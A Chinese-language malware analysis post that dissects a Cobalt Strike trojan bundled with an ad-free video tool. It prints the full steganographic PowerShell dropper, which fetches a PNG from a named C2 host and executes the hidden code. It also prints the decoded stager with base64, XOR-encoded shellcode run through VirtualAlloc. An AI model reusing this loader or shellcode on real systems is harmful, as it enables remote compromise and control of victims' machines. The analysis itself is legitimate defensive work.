简介

Cobalt Strike目前已经很流行, 其生成的木马在很多地方也可以找到, 这里通过网上发布的一个aqy的免广告的工具中带的木马进行分析学习…

过程

找到可疑文件

这里通过Exeinfo.exe工具, 发现可疑DLL, 文件被vmp 2.07加了壳, 很明显一般的dll不会加这种壳:

行为分析

通过OD我们进行调试, 发现此dll的主要功能是调用当前目录下的powershell脚本dataup.ps1:

查看此dataup.ps1, 代码如下:

sal a New-Object;Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://cs40a.microsoftup.pw/down/test22a.png"));
$o=a Byte[] 5220;
(0..2)|%{foreach($x in(0..1739)){$p=$g.GetPixel($x,$_);$o[$_*1740+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}
};
IEX([System.Text.Encoding]::ASCII.GetString($o[0..3546])

通过隐写的方式将代码, 放到远程图片中, 然后现在下载解密在内存中运行, 其中的图片原图就是下面这个:

我们通过修改代码:

sal a New-Object;Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://img-blog.csdnimg.cn/20201021221709565.png"));
$o=a Byte[] 5220;
(0..2)|%{foreach($x in(0..1739)){$p=$g.GetPixel($x,$_);$o[$_*1740+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}
};
[System.Text.Encoding]::ASCII.GetString($o[0..3546])

得到解密出来的代码:

Set-StrictMode -Version 2$DoIt = @'
function func_get_proc_address {Param ($var_module, $var_procedure)     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Locatio
n.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string
'))return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((
New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}function func_get_delegate_type {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] [Type] $var_return_type = [Void])$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelega
te')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateT
ype', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_p
arameters).SetImplementationFlags('Runtime, Managed')$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementa
tionFlags('Runtime, Managed')return $var_type_builder.CreateType()
}[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfI
vOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVE
pNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pa
m4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMcW1TbyM/KTC5PlPSyMYeofWfxCVw
fxq0qeMGFAGThhaZMWd+s04FT7ssbCApWOQQzCChcK4jXjLCPljuiw6F79G9iFaPNrwyzWwKZfIiI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANuc
GpmAxoNExgDdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBYNExgDYlVCTVcDYVFMVFBGUQouKSN9E3rFdD//yimfBvF0/1H0qDz+p23vSvtX/IoZccpbpec3qr
YAxlh7ouQyxEuWnwnpNx4pZs7AdjumuryMXWFdP189564fQ1N6qEK2OEWbyM+kYhZIE4Rry/jqxMkB+TUheDJp5Anw+TMVGxxEZ1VGHMnrswvH1tn3pGo6j8kdfP9j3X4
+0YWJ7nj3jtebI1/yGvKdbvs/FzlsrIfIyjxUkDHAnHrj/M/MrkDsEe8XPmpfO9eTz8N/1Kc98/6Kym/wSkQEf+PjxASJmCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG
3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww==')for ($x = 0; $x -lt $var_code.Count; $x++) {$var_code[$x] = $var_code[$x] -bxor 35
}$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAllo
c), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntP
tr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@If ([IntPtr]::size -eq 8) {start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {IEX $DoIt
}

这又是一段加密的代码, 主要功能是将上面代码的base64部分解密, 然后与35进行异或得到一段shellcode:
解密脚本:

import base64
bcode = "38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMe2FVbyPLm/M0T+9tiKiKeUGHZ8xtXX2ewq1PsRjmHxmKhrOBUMPrTQ8BzQXEcv96L0tUOUpZCXgC0KayN2Lt2wT5YLEtVDGGucs97+vRI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYAw1tZncDYG9xAxENEw0WExQRFBgDDW1mdwNgb3EDEA0TDRMXFhMVDRATCi4pIw6UpTF1OBjAlT8DAB47//CyyzTsM+BmHocgmMR7DKE52SkaR+G2JTwk5zpgMV8GbPLeYNUr41CiqiJ2BsyQPAnVxMmQc3UhdPWqfNTLumBPH3OZgV72d94bYT6NEM2kQCtOIqSmcbULbvcpieEKbW5yEHfbGZXFK7v9qVsMQg1jjrx+76WkbIQNFQ1cyztF+kgQ8MACW1tZtz18nWGgA6IMlANij8b0bHH33qBDH0CU875iMbLzmdJdLzxfR5++gwkaDiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww=="
decode = base64.b64decode(bcode)
data = []
for i in decode:   data.append(i^35)
data = bytes(data)
# print(data)
fd = open("/home/sir/desktop/样本/shell", "bw")
code = fd.write(data)
fd.close()


然后将这段shellcode复制到OD中进行调试:

shellcode的API调用方式, 就是Cobalt Strike木马的一个动态特征, 主要功能就是shellcode会去cs40a.microsoftup.pw请求获取Beacon核心DLL进行内存解密加载;
提取出核心dll后, 可以通过在线工具解密出Cobalt Strike的配置信息:

总结

这种木马的调用过程很长麻烦, 但是基本的代码仍然是通过Cobalt Strike生成的, 所以通过调试就会发现特征性还是比较强的, 虽然调用比较隐蔽, 但是程序从出现的一些URL很容易就会被溯源分析出来的…

Cobalt Strike远控木马分析相关推荐

  1. “大灰狼”远控木马分析及幕后真凶调查

    9月初360安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序. 鉴于bt天堂电影下载网站 ...

  2. 移花接木大法:新型“白利用”华晨远控木马分析

    360安全卫士 · 2015/05/28 5:11 0x00 前言 "白利用"是木马对抗主动防御类软件的一种常用手法.国内较早一批"白利用"木马是通过系统文件r ...

  3. BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

    9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序. 鉴于bt天堂电影下载网站访问量 ...

  4. 一款远控木马分析,仅供学习思路用途

    最近一段时间在面试病毒相关岗位,有的公司会电话.远程面试询问相关知识,有的则会直接发送病毒样本要求分析,写出分析报告.下面要分析的就是面试过程中的某个样本,整理成文,发表出来,供大家参考学习,一起进步 ...

  5. H-WORM家族远控木马分析与处置

    病毒背景 H-WORM作者ID为Houdini,使用VBS编写以实现远控蠕虫功能,能够通过感染U盘传播,出现的时间最早可以追溯到2013年7月.因为其简洁有效的远控功能.非PE脚本易于免杀.便于修改等 ...

  6. “白加黑”远控木马技术分析及手杀方案

    "白加黑"是民间对一种DLL劫持技术的通俗称呼,现在很多恶意程序利用这种劫持技术来绕过安全软件的主动防御以达到加载自身的目的,是目前很火的一种免杀手段.本文将针对此类病毒做了一个简 ...

  7. 控制指令高达二十多种:远控木马Dendoroid.B分析报告( 转)

    控制指令高达二十多种:远控木马Dendoroid.B分析报告 IT社区推荐资讯 - ITIndex.net Apr 24 近期,360团队截获了一款功能强大的专业间谍软件,它可以通过PC端远程控制中招 ...

  8. 安全研究人员发现:Nanocore等多个远控木马滥用公有云服务传播

    前言 攻击者越来越多的采用云来构建自己的基础设施,这样不仅能够使攻击者以最少的时间或金钱部署攻击基础设施,也能让追踪攻击行动变得更困难. 从 2021 年 10 月 26 日开始,研究人员发现多个远控 ...

  9. [网络安全自学篇] 九十.远控木马详解及APT攻击中的远控和防御

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了软件来源分析,结合APT攻击中常见的判断方法,利用Python调用扩展包进 ...

  10. 远控木马上演白利用偷天神技:揭秘假破解工具背后的盗刷暗流

    本文讲的是远控木马上演白利用偷天神技:揭秘假破解工具背后的盗刷暗流,如今,不少人为了省钱,会尝试各种免费的方法获取网盘或视频播放器的会员权限,网上也流传着不少"网盘不限速神器"或者 ...

最新文章

  1. 在Eclipse上安装Activiti插件
  2. Android EditText+ListPopupWindow实现可编辑的下拉列表
  3. 第一次二刷的电影:工作细胞
  4. android 输入法的显示和隐藏
  5. 我用 MySQL 干掉了一摞简历
  6. vue_props div赋值props定义变量 templete获取
  7. linux下实现内存监视,shell脚本来监视Linux上的内存使用情况
  8. https抓包_从Wireshark抓包看HTTPS的加密功能
  9. lc滤波电路电感电容值选择_电感器变压器选型与应用
  10. VMware vSAN 的内部版本号和版本 (2150753)--2020-10-27 更新
  11. 什么鬼?我能通过依赖混淆攻击在 Halo 游戏服务器中执行命令,微软不 care?!...
  12. Atitit 企业文化之道 ---假日文化 attilax总结
  13. Java基础IDEA快捷键
  14. php后缀名的mime类型_PHP实现获取文件mime类型多种方法解析
  15. unity 纹理压缩格式‘_游戏制作行业为什么使用TGA格式的贴图而不使用PNG格式?...
  16. Uniapp微信小程序实现简易生成表单生成器
  17. 【SAP】ABAP——币种金额转换
  18. java集合入门和深入学习
  19. ansible主机清单和动态主机清单
  20. Android指纹解锁源码分析

热门文章

  1. 保龄球记分程序c语言,保龄球的计分规则和比赛规则
  2. 四象限时间管理有多好用?
  3. 18.1.7 这样真的有点敷衍 37-39
  4. 你总觉得你男朋友在敷衍你
  5. Unity-存档与读档
  6. (完美)华为畅玩6X BLN-AL10的USB调试模式在哪里打开的经验
  7. 使用POI为Excel添加数据有效性验证
  8. 女人50万年的进化(暴经典)
  9. 语音识别(ASR)论文优选:粤语语料集Automatic Speech Recognition Datasets in Cantonese Language: A Survey and a New D
  10. MDCC2013会议笔记